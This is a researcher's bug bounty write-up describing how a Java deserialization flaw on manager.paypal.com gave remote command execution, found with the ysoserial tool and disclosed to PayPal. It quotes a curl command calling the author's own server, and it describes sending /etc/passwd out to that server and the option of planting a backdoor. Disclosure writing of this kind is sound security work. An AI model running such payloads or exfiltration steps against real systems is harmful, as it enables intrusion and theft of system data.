In December 2015, I found a critical vulnerability in one of PayPal business websites (manager.paypal.com). It allowed me to execute arbitrary shell commands on PayPal web servers via unsafe Java object deserialization and to access production databases. I immediately reported this bug to PayPal security team, and it was fixed promptly.
While testing manager.paypal.com, I came across an unusual post form the oldFormData parameter that looks like a complex object after base64 decoding:
The following research showed that it is a Java serialized object without any signature. It means you can send a serialized object of any existing class to the server, and the readObject (or readResolve) method of that class will be called. For exploitation, you need to find a suitable class in the classpath application, which can be serialized and has something interesting (from exploitation point of view) in the readObject method. You can read about this technique in a recent article by FoxGlove Security. A year ago, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) found suitable classes in Commons Collections library that could lead to remote code execution. They also published the ysoserial payload generation tool on their github page.
I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.
Then I sent the base64 encoded payload in the oldFormData parameter to the application server and was impressed by an incoming request from the PayPal network that appeared in my NGINX access log:
I realized that I could execute arbitrary OS commands on the web servers of manager.paypal.com, establish a back connection to my own Internet server, and, for example, upload and execute a backdoor. As a result, I could access production databases used by the application of manager.paypal.com.
Instead, I just read the /etc/passwd file by sending it to my server as a proof of the vulnerability.
I also recorded a video how to reproduce this vulnerability and reported it to the PayPal security team.
Later, I found out that many other endpoints of the manager.paypal.com application also use serialized objects and can be exploited.
In a month, my report received a Duplicate status because another researcher, Mark Litchfield, reported a similar vulnerability two days earlier than I did (on December 11, 2015). PayPal decided to pay me a good bounty anyway, and I have nothing but respect for them.
Author: Michael Stepankin (Artsploit)
Аrticle original posted here